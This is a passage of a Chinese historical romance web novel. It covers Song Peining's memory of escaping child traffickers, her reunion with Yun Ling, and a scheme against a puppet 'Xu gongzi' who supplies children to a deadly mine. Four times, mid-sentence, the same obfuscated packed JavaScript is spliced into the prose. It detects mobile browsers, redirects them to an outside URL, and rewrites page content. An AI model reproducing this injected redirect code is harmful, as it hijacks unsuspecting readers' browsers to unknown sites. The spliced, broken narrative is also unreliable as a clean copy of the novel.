宋沛宁听到这话,条件反射一般,原本侧听的脸瞬间面向了云翎。 而说这话的云翎也没料到宋沛宁会突然看过来,两人原本就太过接近的距离,登时变得更加暧昧不清。 鼻尖贴着鼻尖,近到宋沛宁能在云翎黑褐色的眼眸中清晰地看见自己的身影。 宋沛宁突然一下不知道该说什么了。 正沉默着,台子负责做主持报幕的小七没眼力见儿地大喝一声:“有请我们慈幼院最最敬爱最最尊敬最最贤明的女公子……” 话说到一半,一家老小全跟着声音回望过来看女公子,便这几十双眼睛全都看见,看见了女公子跟云先生交头接耳的这一幕。 台子上,小七也肉眼可见地慌了,剩下的半句话只得遣散在风中。 这原本是三个人的复仇小计划,光他们表演可不成,这等好事我们女公子也得参与参与…… 小七小腿一软,差点跪倒在台上。 对不起了,女公子,都是小五兄的主意。到时候您要是罚我刷马桶,可不能只罚我一个人。 而这时的宋沛宁和云翎早就急急拉开距离,双双避嫌似的各后退一步,谁都不再往对方的方向看。 既然小七邀请,宋沛宁干脆应了邀请,抬头信步走上台子,拽了一张木椅坐下。 “我一个整日对着账本愁眉苦脸的人,实在不才,没什么才艺。” 调整呼吸,娓娓道来。 “好在我还有一个故事,不知道大家愿不愿意听。” 有些回忆太远,放在当下再回顾,对于自身也变作一场模糊虚晃的梦。 好的事成为美梦,坏的事成为噩梦。 在宋沛宁的众多浮浮沉沉的遥远回忆中,有一件至今不愿意打开的盒子,盒子打开来,是一间昏暗狭窄,散发着腥臭恶气的窑室。 那里就是宋沛宁幼时被拐住过的地方。 许多如她一般大的孩子,人挤人地关在一起,仿佛他们不是人,只是存放在仓中挤压的货物。 负责看守他们的人,整日酗酒,与他们一样整日不见天日。 他待他们极不好,有时喝多了,会用一种俯瞰畜生的眼神,透过生锈的栏杆鄙夷又玩味地看着他们,嘴上说的全都是十分恶毒又侮辱的醉话。 铁栅栏里的小孩子们低着头,瑟瑟发抖,从不敢吭声。直到有一天,看守照常说了满嘴的醉话,忽然有一个小姑娘一反常态,出声接了话头过去。 小姑娘很是伶俐,几句话便哄得看守开怀。看守借着酒劲,打开铁笼的铁锁,不等他回手关门,姑娘三两下灵巧地爬上看守的大腿,顺着他浑圆的腰际摸到他随身的匕首。但看守并没有因为醉酒失去全部的警觉,刀锋偏了,划了个空,没有致命。 只见那姑娘没有缓冲的空隙,紧接着一鼓作气,攀上看守的肩膀,死死抱着他的头,捂住他的眼睛,任他怎么甩,怎么捶打她的脊,都死死抱着不松手。 “快跑!” 那姑娘嘶声大喊。 铁门开了,大家形容慌张鱼贯而出。说来也怪牙子贪心,装了太多的小孩在这逼仄的地下室里。所有人仗着人多,拼死地往前跑,地窖里转眼乱了套,有人摔倒也分不出神去管,只要不倒下,就一直往前跑。 看守暴怒,牟足了劲将身上的人往外甩去,之前的女童力竭,很快支撑不住,被直直地抛了出去。后脑磕在突出不平的石砖上,鲜红的血瞬间染红污浊灰斑的墙壁。 摆脱掉了那个姑娘,看守满身戾气地便朝人群走了过来。 宋沛宁怕极了,浑身都在抖,在看守伸手提起她的后颈之前急中生智,颤抖着用全力推倒了离她最近的地窖里的明火灯。 倒下的明火灯随即烧了起来,把她和那醉酒的看守隔在两端,火舌顺着他身上残留的烈酒将他缠住,然后转眼就蔓延至全身。 宋沛宁在火舌的另一端暂时脱险,跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268402|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着人流疾走,慌乱之中,回过头望了一眼,那看守全身都是火焰,痛苦地倒在地上抽搐,却仍恶狠狠地望着她。 坏人没死,还在挣扎,可那个最初勇敢的女孩子早已经一动不动了。 宋沛宁的眼前迅速模糊下来,她始终记得她,始终忘不了她。 她记得她初初来到地窖的第一晚,就是这个看似柔弱的女孩子,轻轻抱着她的脖子安慰她,趴在耳边偷偷问她:你想不想逃? 始终忘不了,她的最后一刻,气几乎绝尽了,转头看向仓皇逃走的无数身影,却缓缓笑了出来。 快点,快逃,再快一点,永远地逃离这昏暗的地牢。 等你逃出去了,就替我带所有的稚儿逃出去。 我有点累了,想来我这副鬼样子不好再回家见爹娘,且留在这睡下了。 宋沛宁讲到最后,眼角忍不住地湿润。 她的视线延伸,穿过人群毫无避讳地望向独立在黑夜中的云翎。 方才,云翎问她:那你如今开心了吗? 宋沛宁答不出来。 又或许云翎问的不是如今的宋沛宁,是许多许多年前,那个叫阿回的少年可以为了她过于宏伟辉煌的心愿,宁愿放弃所有安稳再次奔走的宋沛宁。 回忆中,照初见之时稍微长大一些的宋沛宁,只敢在夜里哭红一双柔软的眼睛。 她哽咽着不安地说:“阿回,我忘不掉。” 因为她活下来了,所以有人代替她死了。 活着的人得接过死去的人的愿望接着跑,就像永远活在四处逃窜的那晚,一刻都不能停下来。 从此,愿望在宋沛宁的心底打成死结,成为跨越不过去的心病。 好在她的身边有阿回,常常能在她怕的睡不着的时候,替她遮挡恐惧,顶着她心中呼啸的风雪,帮她关上不安的大门。 她的阿回一直温柔,光是听着宋沛宁六神无主地说起这些,就跟着她在眼前起了场朦胧的雾。 “阿宁,阿宁。你别怕。” 阿回轻轻唤她的名字,安慰着她,替她擦去泪水。 “你不用怕,真的,你有什么心愿我都替你完成。” 宋沛宁当时,并不懂云翎话里的意思。 红着一双眼睛抽泣地抬起头,“真的吗?” 阿回眼里晶莹,强忍着泪水朝她点了点头。 “真的。你会完全相信我,对吧?” “我会。” “嗯,所以别哭了。我们阿宁哭成大花脸,不好看。” 宋沛宁那时候不懂,不知道她的阿回走了那么远的路,好不容易来到她的身边,其实也曾经历过翻天覆地的苦。 也曾经担惊受怕,忍着眼泪一直跑,跑得被泪水淹没了,看不清脚下的路,也不敢停下来。 被背叛、被放弃、被置之不理,所有人都一边怀念他,一边不再提起他,最后只剩他一个人面对寂寂的黑夜,蜷起身子缩在寒冷的枝头。 宋沛宁那时候太小太小了,不懂她宏伟的心愿背后,要用什么珍贵的东西去交换。 想要还天下所有稚子一个没有阴影的童年。 没有权势和铁腕,如何做得到呢? 所以没有告别,阿回离开,像是从长长的梦里醒来,回到现实,重新漂泊。 做阿回的这几年,对于云翎来说,就是那个许多遥远浮沉的回忆中,最温暖的美梦。 32. 卿卿 宋沛宁思来想去,最后决定接下那位善财徐公子的邀约。 尽管此前裴钱霍善意提醒过她,这邀约恐怕是场鸿门宴,但是敌是友还是得等见上一面方能知晓,否则悬而未决也不是办法。 于是宋沛宁托裴钱霍送信专门跑了一趟,徐府很快传回消息,信上说,宋女公子能赏光赴宴,徐公子荣幸之至,三日后城中黄鹤楼阁楼邀女公子一聚。 快速读完信上内容,信上还是半句没有提到徐公子就是小一之事,宋沛宁与裴钱霍对视一眼,既要见面,那徐公子就是他们认识的小一的事必然是瞒不住了,为何只字不提呢? 除非,徐公子是徐公子,写信的人不是“小一”。 很快到了三天后的应邀之日。 宋沛宁与裴钱霍早早启程进城了,云翎照例来慈幼院教书,并未碰上。 没见到宋沛宁,云翎自己往学堂处走去,迎面碰上当值的小五。 小五最识礼数,停下向云翎鞠了一躬,“见过先生。” 说完,注意到云翎流连的目光,唯恐慈幼院对先生招待不周女公子责怪,遂问道:“先生可是有哪里不便?可以与小五说,小五帮先生解决。” 云翎摇摇头,跟着收回了视线:“无事,只是为何今天园中为何不见女公子?” 小五笑着答道:“女公子一向很忙,今儿不在。” 于是,云翎跟小五便一问一答地聊了起来。云翎顺着小五的话打听宋沛宁去向,小五没把云翎当外人,自然知无不言,言无不尽。 答曰:“女公子去赴京城善财徐公子的约去了。” “徐公子?” “正是。先生有所不知,说起来我们女公子与这徐公子还是旧相识,当初就是小一兄写信给女公子来京的,谁料等女公子来到 京城,与小一兄却联系不上了。这中间也不知出了何事,二人近日才联络上,约了城中黄鹤楼一叙。” 黄鹤楼乃是京城中数一数二的酒楼,风雅非常,因此也成了许多有情人的约会圣地。 云翎一时不知是自己没听明白,还是想多了,想了想,还是把话问出了口。 “你说女公子来京城是为了寻小一?” 小五笑着点头,语气依旧恭敬地回答道:“对,女公子接到小一兄的信,三日后便匆匆启程了。” 二人对话完,互相拱手鞠躬,一个去了后厨,一个去了学堂。小五没看到云翎转过身去,自然流露出的失落的表情。 也是啊。 云翎顺着回忆里的线索拼凑,阿回临走时,半句也未提起他离开临舟会去哪里。 是他误会了。 那日在医馆幽暗的小房间里,借着暧昧的烛光,他和宋沛宁打着自以为是的暗语,竟然理所当然地误以为他还懂她。 说不定过了这许多年,宋沛宁早就把阿回忘了。 走到学堂房门口,从屋里传来朗朗读书声,学生似乎在等他了。 云翎定了定神,冷静半刻,才提步走进了学堂。 此时的京城黄鹤楼,宋沛宁已经与传闻中的徐公子会上了面。 想来两人都没成想临舟一别多年,再度见面会是此番客套的场面。小一极能吃苦,像是明知道自己的无依无靠,所以处事十分踏实,从不讲虚的,这也是宋沛宁能相信小一的书信,千里迢迢地从临舟赶过来的原因。 再见面,宋沛宁没变,小一却像是从里到外换了个人。穿戴华丽金贵了,举止优雅清高了,若不是和小一一模一样的脸,宋沛宁险些怀疑不敢认。 黄鹤楼里人来人往,热热闹闹地戏台子就搭在一楼的大堂,从雅间自上而下地望下去,戏子头顶的珠翠看得清清楚楚,戏曲声高昂嘹亮,传至顶楼又显得远了,声音蒙上一层光弧的距离感。 就像此时雅间里对坐的她和小一。 打小一离开慈幼院的庇佑,宋沛宁一直盼着小一在外一切顺利,她不是不愿意见到小一过得好—— “宋女公子,久仰大名。” 小一拾起酒杯,装作与宋沛宁并不相识一般,隔空敬了一杯。 宋沛宁见状,皮笑肉不笑地勾起嘴角,她没有当场戳穿小一,想看看小一葫芦里卖得什么药。于是也拾起酒杯,给足了小一面子。 “徐大公子,我才是久仰久仰。” …… 宋沛宁不是不愿意见到小一过得好,只是她未曾想,再次见面时,他与她气氛要如此怪异。 看来,这善财徐公子不简单。 宋沛宁见过小一回到慈幼院时已是傍晚。 彼时学堂刚刚放了课堂,云翎一身青白色长袍,手里卷着几卷书,风尘仆仆地从学堂里走出来。 宋沛宁今日见过小一心里不大爽利,一边往院中走,一边与裴钱霍商量事宜。她与云翎在院中擦肩遇见,相视一笑,算是打过照面了。 宋沛宁微微停下脚步,“云先生今日辛苦,这是要回去了?” 云翎也停了下来,“嗯。女公子出行还顺利吗?” 宋沛宁无奈地笑了,“说不上来,算顺利吧。我刚回来,车夫应该还没卸车,你且等一会儿,我差人送你回去,就当搭个顺风车。” 云翎淡淡接受,“那就谢过女公子。” 话罢,宋沛宁叫住一名穿梭在院里的家丁,将送先生回去的事好生交代完才走。 送完云翎,宋沛宁和裴钱霍径直去了小厨房。 拿腔作调地吃了顿饭,吃得宋沛宁一点食欲都没有,坐在饭桌前也是如坐针毡一般。 没吃饱,多贵的酒楼也吃不饱,回到慈幼院第一件就是重新吃! 宋沛宁身靠在灶台边上站着,手里捧着一碗刚出锅的炒饭,用一支白瓷勺挖着吃。 边吃边和和裴钱霍说到:“小一如今和从前判若两人!他说会帮我名下的乞儿找到活计,让他们能够自食其力,可是我怎么有点不信他?” 裴钱霍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306712|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇摇头,走进厨房跟厨娘子要了一杯水递给她。 “早提醒你小一这事儿出得很是蹊跷,你偏不信邪……不过你先别着急,我再去帮你查。” 宋沛宁接过裴钱霍递来的水,咕咚咕咚喝了两口,好不容易顺下去嘴里的,又接着挖了两勺送进嘴里。 裴钱霍说她:“你慢点吃……” “我知道了!”宋沛宁转过脸,果然人吃饱了,脑子才会转。 宋沛宁鼓着腮像是一只小仓鼠,举着勺子,眼睛先亮了。 “小一是故意的。” “故意的?” “小一虽说穿得华丽,但五官模样未大改,他若不想与我相认,为何又执于见我?你想想,我们刚刚落座时,我本想与他寒暄,他却急着客套,话语里与我撇清关系,暗示我们并不是认识……这是说给谁听的?” 裴钱霍沉思状,“这是说给我们以外的人听的?” “对。”宋沛宁赞同地点了点头,“别人不清楚,你我应该知道,小一无依无靠不会短短几月便跃居为公子,这说明……他只是被推到人前的傀儡,也许实际上,根本没有什么善才徐公子。” “那小一岂不是有危险了?” “在我们戳穿他之前,暂时没有风险。”宋沛宁在后厨灰灰的灶台之间来回踱步,“我想,小一定是想利用这种矛盾,让我们起疑,不与他合作,不送乞儿去他那里做工,可光是保护了我们院的乞儿,那些相信徐公子的人还是有危险。” 宋沛宁站定,转过头来,刚好裴钱霍也有话想说。 “我们先假意答应他!” “我们先假意答应他!” 不入虎穴焉得虎子。 宋沛宁陷入沉思,心中的结解开了,心情也变好了。 弯着眼睛打趣道:“你去问问倒霉蛋小五六七谁愿意去……算了,还是让他们三个一同去吧。” 小五六七:重草复仇血书。 不过打入敌军的事不可如此草率,女公子心情好,惯爱拿那三个倒霉蛋开玩笑。 于是,宋沛宁与这个徐公子很快亲近了起来。 听人说,宋沛宁与徐公子去遍全京城所有漂亮又贵的酒楼,一起吃酒谈心,说不定还一起赏花看月亮。 二人门当户对,志趣相投,可以说天造地设的一对。传言前不久,宋女公子还和徐公子一起去到破瓦寒窑施粥了,金童玉女十分相配。 这中间也不知怎的,云先生来慈幼院教书的次数也变得频繁了些许,像是暗中跟谁较着劲。可惜女公子都不在,近日来,本就瘦弱的云先生背影又消瘦了不少。 宋沛宁没看到,细心如小五,小五看得心疼。 心里揣着事,没揣几天实在心里憋着难受。 一日晚饭过后,小五没忍住还是和宋沛宁小声知会了一句。 女公子呀,您快看看云先生吧。 他他他他…… 他快碎掉啦—— 33. 卿卿 宋沛宁恍神,顺着小五的话反思,这些日子光顾着给小一下套,确实有些天没能见到云翎了。 窗外在这时起了阵阵雷鸣声,入了秋天黑得早,一场秋雨毫无预兆地降在漆黑沉沉的夜幕里。宋沛宁正要说话,就听门外传来几声孤寂单薄的叩门声,伴着淅淅沥沥的夜雨,仿佛夹了许多辗转反侧的思绪。 宋沛宁示意小五去开门,来不及打伞,小五一手盖过头顶,用衣袖接住雨,小跑着去开门。 启开门闩,打开大门,站在门外的居然是云翎。 “云先生?” 小五惊讶地叫出声。 “嗯。”云翎应了一下,还是如从前温润,笑了笑,“走到一半想起来有东西落在学堂,这才返程预备回来取,没成想半路又下起了雨。” 这个时间,京城的门禁早都过了,云翎一个人站在慈幼院的大门外吗,上衣被雨水打湿,呈现出深深浅浅的斑点。 听小五说是云翎来了,宋沛宁站在檐下也顾不上下雨,跟着跑去大门外。 四目相对,两个人都因为短暂的分离涌上一种奇怪的陌生感。 半晌,宋沛宁开口问:“先生怎么来了?” 云翎轻轻应了一下,还是如从前温润,好像自打见到宋沛宁便开始笑了。 云翎笑着回答:“走到一半想起来有东西落在学堂,这才返程预备回来取,没成想半路又下起了雨。” 于是宋沛宁侧身请云翎进院,云翎点头谢过,经过宋沛宁的时候,忽然顺势握住宋沛宁的手腕。 两人的身子皆是跟着振了一下,小五见状识趣地退下,院中就剩下云翎和宋沛宁两个人。 雨声在两个人之间继续下,宋沛宁稳了稳心神,尽量去忽略云翎紧紧捉着她手腕的那只手,才说:“先生落下什么了?我带先生去找,可还大概记得放在哪里?” 宋沛宁话落,就要不着痕迹地收回被握住的手腕,转过头去,谁知抓着她的人不放,手腕上的力道见她要逃,警惕地复又紧了紧。 宋沛宁不得不正视云翎,稍稍仰着头,望进云翎的眼睛。 “不用去找。” 云翎动了动嘴巴,定定回看宋沛宁,将她一把拉了回来,另一只手顺势牵起她的另一只手腕,带着她的手上向上提,最后定在自己胸口的位置上。 “落了心在这里,能见到你就好了,不用特意去找。” 宋沛宁怔了怔神,过去的云翎很少如此直抒胸臆地表达爱意,哪怕是最爱她的阿回,一向习惯缄口不言。 “云……云翎,你怎么了?” 宋沛宁这时再看向云翎,见他眼神迷离,脸颊微红,本想抬手去摸摸他的额头,却还是被云翎死死攥住。 “不要总是想逃!” 云翎微醺的脸上流露出不满,来时的雨打湿他额前的碎发,眼睛像是被蒙着一层水雾。云翎说完,没有放开宋沛宁,反而顺着宋沛宁的手腕,转去握她的手心,手指交叠手指,宋沛宁的手心有些湿热。 “我去了你和徐公子去过的酒楼,本以为你们吃酒谈心何等开心,那酒楼该是如何人间至味,可惜亲去尝了尝,滋味着实令人失望。” 宋沛宁张了张嘴,此时涨红着脸不冷静的云翎太不多见,冷静自持的云翎见多了,今日一见如此情形的云翎,心里竟觉出几分可爱。 宋沛宁听完,没有立刻回答,手任由云翎握着,也没有着急收回来。她歪头,靠在门框上,想听云翎接下来还能说什么一反常态的话来。 没成想宋沛宁得意的表情像是刺激到了他,云翎气极无助极委屈极了,焦急的情绪在他的脸上逐渐具像化,最后像是无计可施只能丢盔弃甲地俯身抱住了宋沛宁。 “阿宁。” 云翎的气息在宋沛宁颈窝边热热地扑了过来。 “我看那个徐公子只具皮囊一副,就是个空架子,你可莫要被他骗了。” 宋沛宁笑,云翎这醉话倒是歪打正着地说对了,徐公子确实只是个挂名的徐公子罢了。 云翎嘟嘟囔囔地继续说:“他选酒楼的眼光实在不行,一看就是登徒子,上不了台面,心浮气躁得很,我看没什么真才实学,没什么儒雅礼节,没有……没有……” 云翎说到此处,话生生地断了。 他站起身,轻轻放开了宋沛宁,眼前似是如酒醒了一般,忽然清明了。 停顿半刻,云翎像是终于下定了某种决心,尽管那样的决心中掺杂着陈陈岁月,装着他从未与他人言道的秘密,装着他的等待,他的隐忍还有他的怯懦和他的不安。 “……没有如我爱你般爱你。” 云翎说完,雨声转急,他像是一瞬间抽空所有力气,向后退了一小步。正要转身离去,潮湿的衣角被人从后面拽住。 “阿回。”宋沛宁呢喃。 云翎身影一顿。 是你吗。 是你吧。 阿回,阿回。 夜雨越下越大,回城的城门落了锁,云翎留宿在慈幼院。 宋沛宁让小五给云翎安排了一间空房,又烧了一大锅洗澡热水,连干净的换洗衣服也很快送到。 云翎端坐在房正中的圆桌边,没有着急去洗澡,仔细回想方才宋沛宁雨中的对话。 她喊他“阿回”,那么笃定那样动情,她又什么时候发现的呢。 估计是身上被雨淋湿的衣服在这会儿开始返潮,穿着不大舒服,云翎不得不起身,带上换洗衣物去洗澡。 刚走进澡盆里坐下,梨花窗户外又再次传来敲门声。 “阿回,是我。” 宋沛宁站在窗外,像是怕惊扰到她的阿回,下一秒云翎反应过来,就又不承认他是阿回了。于是很小声、很耐心地门外,对着窗户上几根木头说话。 “阿回,你洗完了吗?怎么这么久。” 云翎侧头,只看见脑后的一扇展开的雕花屏风,听到是宋沛宁的声音,惊慌了一下,水花微微荡起,从房间里传来水声。 于是宋沛宁听闻,煞有介事地点了点头:“原来是还没洗完,那我就在这等你,你不用着急,我不走,就在这等你。” 说罢,宋沛宁背靠在云翎窗外的墙壁上,蹲身坐下,反正干等着也是无聊,便抬起头去看天上的月亮。 雨停后,夜空转而晴朗起来,月光皎皎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338330|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一轮形状好看的弯月十分明亮地挂在天上。 没有等很久,头顶上的窗户自己打开了。 重新穿戴整齐的云翎现出身,他没有束发,一头乌发瀑布般地散开来。他没有先说话,而是趴在窗台上,顺着宋沛宁的目光也去看月亮。 两个人抬头望着月亮半晌,宁静的夜空,静谧的大地。 宋沛宁突然开口问:“从前,你都是这么等我的吗?” 云翎错愕,但很快明白过来,“从前等你也很有意思,倒是难为你等我这样久,很无聊吧?” 宋沛宁轻轻笑了,摇了摇头。 “你离开临舟之后,我一直都想这么做。”宋沛宁自顾自地说,“虽然我也小心眼地反思过,是不是因为我对你不好,所以你会才离开啊——但是马上又觉得,这个世界上谁都可以讨厌我,但是阿回一定不会这么想我。” 云翎低下头来。 宋沛宁继续如数家珍地说道:“所以你走之后,我一直自己想象以前你在的时候都是如何等我的呢,如果能重新见面的话,我一定要这么等一下你,想看你等我时看过的风景,吹你等我时吹过的风,让我,做一回你。” “我啊。”云翎联想起过去快乐的时光,微不可闻地叹了叹,“我过去可没像你一样想那么多,一点也不苦,反而觉得如果你能呼唤我,我作为被你需要的人,会非常的开心。” 宋沛宁回头看云翎,“真的?” 云翎点头,“真的。” 宋沛宁还是不信,“我也没什么好,又弱又爱哭,总是想凭一时的冲动去撼动那些不可能撼动的东西,扭转不可能扭转的局面,这么愚蠢,即使是被需要,也会很累。” 说到底,宋沛宁在人前光鲜外表下,因为幼年的阴影伤痛,始终像是活在危险不安的悬崖边。 “阿宁。” 云翎轻轻说,他的语气温柔,像是用尽了毕生所能怀抱的所有柔软。 “阿宁,你听我说,你走到今天,不是正好证明你已经用你的力量改变了什么吗?你一点也不愚蠢,相反非常睿智,善良,是这个世界上最好的姑娘。” 宋沛宁仰头借着月光仰头看云翎,云翎颔首,立在月光下,好像就是皎洁无暇的月亮本身。 她的月亮说:“阿宁,你站起来,地上凉,你千万不要着凉了。” 于是她踉踉跄跄地站起来,月亮就接住了她。接住了,就不想轻易放手。 云翎拉着宋沛宁,像是带着月光清冷的光晕靠近,身子探出窗台,阔别许多年,少年时小心翼翼带走的吻,重新回到那个人的唇。 云翎觉得,也许明日,可以在学堂讲一个失而复得的故事。 许多许多年前,还是小小少年的他,为了心上人得偿所愿,一个人吃苦一个人夜奔,走了好远好久的路。 他什么也不为,只希望他的心上人不要就此枯萎,下次见面的时候,终于能心愿成真,弯弯眼睛笑出来。 终于不再是站在她身后,需要她来为他遮风挡雨的弱小少年。 阿宁,如今的阿回,可以完成你所有的心愿。 你想做什么,什么就会成真。 34. 卿卿 第二日清晨,女公子从晨起就笑眯眯的,不知是秋日凉爽的缘由还是别的,女公子也神清气爽,精气神儿十足。 才将将洗漱完,就迈起大步急不可耐地小跑着往慈幼院的客房跑。 哪知跑到门口,却见到房门四敞着,小五整理了云翎昨晚睡得被褥正要往出走。 宋沛宁歪歪头不解,眼神往房里扫了一眼,“小五,怎么是你在,云先生呢?” “云先生今儿起了个大早,一早就走了,先生说是回城一趟有要事,让我带句话给您,让您别心急,白天上课还是会照常来的。” 听小五这么说,宋沛宁只好点了点头,不甘心地向房间里望了一眼,被身后才追上来的竹叶唔住眼睛。 竹叶时刻记挂女公子,自从离开临舟,愈发变得唠叨。 “女公子仔细着看,这未出阁的女子如此看旁人家公子睡过的房,当心闪了眼。” 竹叶说罢,作势拖着宋沛宁向自己的闺房带,边走边说。 “女公子,晚点您还约了徐公子一通枫叶,莫要误了时辰。” 可惜不管竹叶说什么,宋沛宁一颗心跳得明快又鲜活,怎么都紧张不起来。“哎哟哟”地随竹叶离开了云翎昨夜留宿的客房。 宋沛宁通过这几天和徐公子频繁的接触,其实已经暗中和小一通完了气儿。 小一还是原来的好小一,坏的是想要推这莫须有的徐公子抛头露面的组织。小一是某一次矿场招人做工与他们联系上的,起初按日结钱,还算讲信用,谁知道好景不长,矿场的头目许是看出支太快,心疼起了荷包,便不肯结钱了。 不给钱,就不做。小一同其他工友一起去闹,闹罢工,不仅他们罢工,还鼓吹其他做工的人也都不要做。 双方僵持不下起先初现成效,掌柜亲自出面解释资金周转不开,各位耐心稍加等待几天,一定把拖欠的工钱悉数给各位补上。 有了掌柜的话做保证,一群人这才悻悻作罢。当晚,小一前思后想,总归是会结钱,不如还是再继续做着,一是防止矿场跑路,二也是想攒下一笔,等到结钱的时候一定是一笔不小的银子。 于是这么想着,第二日小一照常上工,没想到这一次去了,就再也没能回来。 掌柜反悔了,一夜之间不知攀上了哪家的权贵,硬气了不少。他将所有做工的人圈在矿场里,不许回家,没有银子结,但没日没夜地做。 底下做工的人叫苦不迭,有体力弱些的,当天夜里抬下去不少。但好巧不巧的是,一边有消耗的,另一边补人的速度也是出奇的快。 也是这段期间,宋沛宁一行人来到京城,与之联系不上也是自然。没能及时取得两个人,并不缺少默契,各自为营。 宋沛宁在京城顺理成章地扎根落脚,建立慈幼院和学堂,一度收到万岁爷的表彰。 而小一也没有就此认命沉沦。混迹于其中的小一敏锐地观察到矿场的蹊跷,根据往日的经验,自己许是卷入另一场牙贩案子也说不定。 好在人还年轻,没那么轻易失去所有力气被抬下去,再被扔在什么不知名的地方,但也只做到自己暂时活着。 经过几个月的潜伏与交涉,小一先混熟了矿场里监管他们的工头,顺着杆子往上爬,一步一交涉,几个月后终于轮到他做上这个徐公子的位置。 正如宋沛宁所料,这徐公子就是个明面上的傀儡,背后操纵另有其人。小一曾经尝试打探,背后黑手究竟是为何许人也,但几次都被掌事嫌恶地打断了下来,掌事高扬着头,眼神里满是轻蔑,他不若矿场的工头,愿意赏他几分薄面。 兴许小一在这掌事的眼里,与矿场里挥汗如雨的雇佣工奴隶没有不同,既可以是一粒沙土,也可以一粒拂之即去的尘。 掌事目空一切,说话间根本没有看向他:“上头的事不是你该管,老朽劝你也少打听。不该你知道的事少知道,对你我二人都好,你只管扮好你的徐公子,好处自然不会短你的。” 这位掌事不简单,城府极深,又不苟言笑。而且小一渐渐明白过来,掌事不光连接着他与上头的指令,似乎还是特地派来看着他的,恐他生出旁的小心思。这下两头堵死,一时也没有头绪,小一只得作罢,等待另寻时机。 往好处想,虽然暂时不知道上头是谁在发号施令,但起码还有机会摸清他们如此兴师动众地推出一个善财徐公子这个挡箭牌的用意是什么。 毕竟小一是断不会想相信所谓徐公子的那些花言巧语,一个榨干矿场工人拖欠银钱变本加厉的地方,怎么可能会在一夜转了性,屈尊去关心流童乞丐的生死。 一日,掌事从旁的宴会上喝得微醺地回来,难得地高贵赏光敞开一次心扉。 “徐大人。”掌事时长这么阴阳怪气地抬举他,“你说,上头让我们效仿的慈幼院宋女公子什么来头?“ 上头让效仿的?小一不着痕迹地捕捉到,佯装沉思到。 “许是……上头的大人,想要一些功勋奖赏。” 掌事一听却乐了,像是听到一个不可理喻的笑话,笑得摆摆手,“我家大人不稀罕。” 小一借着掌事防御微薄,紧着攻略,问道:“掌事大人,你我如此做戏要到几时?说来这银子花出去了实在心疼……” “说得也是。”掌事难得赞同地叹了口气,“白白便宜了那些下贱皮子,从中一些油水都捞不到。不过你也别急,现在是布网,收网的时候自会知会你。” 这次的夜话之后不出几日,掌事传来了最新消息。几次相约那位慈幼院的宋女公子一见都未果,功夫不负有心人,女公子答应与你见上一面了。 小一一听女公子的名讳,若是见面,女公子定然会认出他来,祸从口出,事情在眨眼间败落都有可能。 可对面的掌事见他若有所思,倒是没有想那么多。 “去见一位小娘子罢了,你也不必太过紧张。只管照我先前教过你的,出手阔绰大方些,尽可能投其所好,然后……引她与我们合作。” “合作?” “正是。”掌事点点头,交代道,“眼下我们的矿场开采急需人手,凭我们自己的力量,人手还是不齐,但这位宋女公子不一样,她在流童乞丐中极受爱戴,威望破高,若是她答应我们为我们输送人手,势必能缓解我们不少的压力。” 小一想了想,继续套话问道:“可是,我们矿场兴许是有去无回……” 掌事不以为意地笑了,转头看他:“你怎么也跟着犯傻了,流童乞丐的命谁在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423048|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎?” 平日里,小一与宋沛宁的每次见面谈话,这位掌事都扶侍在近前。 说好听点,是以防徐公子有不时之需,难听点,就是在监视他。 于是宋沛宁带着裴钱霍,小一带着掌事,四个人每每会面,明面上客客气气,暗地里心眼子都绕到天上去。饶是宋沛宁与小一陈年旧年,有几分默契,但其中细节光靠眼神交流却不得而知。 为了避开掌事的控制,宋沛宁剑走偏锋,在掌事面前诚表心悦于徐公子。徐公子这边呢,要引宋沛宁上钩,不悦也得悦,于是就这么草率地两心相悦了。 宋沛宁与徐善财相约月下对酒谈心,不小心全城都皆知了,还不小心让某人吃了飞醋,自乱阵脚慌了神。 